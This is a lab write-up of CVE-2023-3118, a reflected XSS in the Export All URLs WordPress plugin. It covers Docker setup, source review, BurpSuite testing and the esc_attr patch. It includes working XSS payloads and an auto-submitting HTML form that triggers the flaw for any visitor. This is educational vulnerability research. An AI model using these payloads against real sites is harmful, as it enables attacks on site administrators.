On this page
Description
The Export All URLs WordPress plugin before 4.6 does not sanitise and escape a parameter before outputting them back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin
Lab-Setup
mkdir cve-2023-3118
create docker-compose.yml
file
version: '3.8'
services:
db:
image: mysql:5.7
volumes:
- db_data:/var/lib/mysql
restart: always
environment:
MYSQL_ROOT_PASSWORD: MySQLP@ssw0rd
MYSQL_DATABASE: wordpress
MYSQL_USER: wordpress
MYSQL_PASSWORD: wordpress
wordpress:
depends_on:
- db
image: wordpress:latest
ports:
- "8000:80"
restart: always
environment:
WORDPRESS_DB_HOST: db:3306
WORDPRESS_DB_USER: wordpress
WORDPRESS_DB_PASSWORD: wordpress
WORDPRESS_DB_NAME: wordpress
volumes:
- wordpress_data:/var/www/html
volumes:
db_data:
wordpress_data:
then run docker-compose up
to run the image
When you go to http://localhost:8000/ you will see the wordpress installation page
I searched for
easy digital downloads
Go to Advanced View Section
The description of the vulnerability states that versions below 4.6 are vulnerable. We will download both 4.5 and 4.6 to analyze the patch for the vulnerability.
Let’s upload the vulnerable plugin to WordPress. Press the “Browse” button and choose export-all-urls.4.5.zip
Then press on the
Install Now
Button
Then press on the
Activate Plugin
Button
The plugin was installed successfully.
BlackBox Testing
I will test the vulnerable version as we don’t know where the vulnerability is located
First, I will search for all
GET
methods in PHP files to see if any can be exploited.
grep --color=always -r '$_GET' --include="*.php" .
The line that appears in the output is used in WordPress security to verify a nonce (a number used once) and prevent CSRF (Cross-Site Request Forgery) attacks, so it is not useful for exploitation.
Let’s now search for all POST
Methods
grep --color=always -r '$_POST' --include="*.php" .
As you see from the output the sanitize_text_field
& sanitize_file_name
functions are used in many lines. sanitize_text_field() is a WordPress built-in function that sanitize user input. sanitize_file_name is a WordPress built-in function that sanitizes a filename, replacing whitespace with dashes.
So the
POST
Methods that are inside sanitize_text_field
& sanitize_file_name
functions is useless to us.
Let’s remove the lines that contain this function.
grep --color=always -r '$_POST' --include="*.php" . | grep -v 'sanitize_text_field'
There are two interesting lines that accept user input and print it as it is without any sanitization.
<?php echo isset($_POST['starting-point']) ===> Print starting-point value
<?php echo isset($_POST['ending-point']) ===> Print ending-point value
When user input is submitted as is, the first vulnerability that comes to mind is XSS
Let’s see if we can exploit this
I will go to the plugin location from Tools
Then press on
Show Filter Options
and Show Advanced Options
to see all the available inputs
I want to find the location of POST Parameters
starting-point
& ending-point
at this page
Right Click - View Page Source
( CTRL + U )
And search for keyword starting-point
. You will find it’s under Number of Posts
keyword
To confirm that, press F12
to inspect the page. If you click on the box near the word From
, you will find it corresponds to the starting-point
POST parameter, and the box near To
corresponds to the ending-point
POST parameter.
Let’s enter any values and then press
Export Now
Button
I intercepted the request with BurpSuite
Let’s see how we can exploit this vulnerability. From page source this is where the starting-point
& ending-point
values are located
-
From: <input type="number" name="starting-point" placeholder="0" value="{starting-point-User-Input}">
-
To: <input type="number" name="ending-point" placeholder="500" value="{ending-point-User-Input}"> So we need to close the tags and put our payload.
Our First payload with the closed tags will be like that
From: <input type="number" name="starting-point" placeholder="0" value=""><script>alert(/XSS-starting-point/)</script><"">
Our Second payload with the closed tags will be like that
To: <input type="number" name="ending-point" placeholder="500" value=""><script>alert(/XSS-ending-point/)</script><"">
Let’s test this by sending our intercepted request in BurpSuite to the Repeater tab.Then Right Click and choose
Show response in browser
Copy the given url and submit it in the browser. As you can see, the XSS is triggered
We can automate this process by putting this HTML code in any page
<body onload="document.forms[0].submit()">
<form action="http://localhost:8000/wp-admin/tools.php?page=extract-all-urls-settings" method="POST">
<input type="hidden" name="starting-point" value='"><script>alert(/XSS-starting-point/)</script>' />
<input type="hidden" name="ending-point" value='"><script>alert(/XSS-ending-point/)</script>' />
<input type="submit" value="submit">
</form>
</body>
Go to Pages - Add New Page
Press on the ➕ Sign and type html in the search box and choose
Custom HTML
Then put our html code and press
Publish
Go to Pages and view the page where we placed our payload.
As you see the XSS is triggered to anyone who visits this page
Patch Diffing
Now, Let’s take a look at the patch that used to prevent the vulnerability, We can see the patch information on wordpress from here. As we can see, the vulnerable POST
methods have been placed inside esc_attr
, which is used for escaping HTML attributes.
Resources
https://nvd.nist.gov/vuln/detail/CVE-2023-3118 https://wpscan.com/vulnerability/8a9efc8d-561a-42c6-8e61-ae5c3be581ea/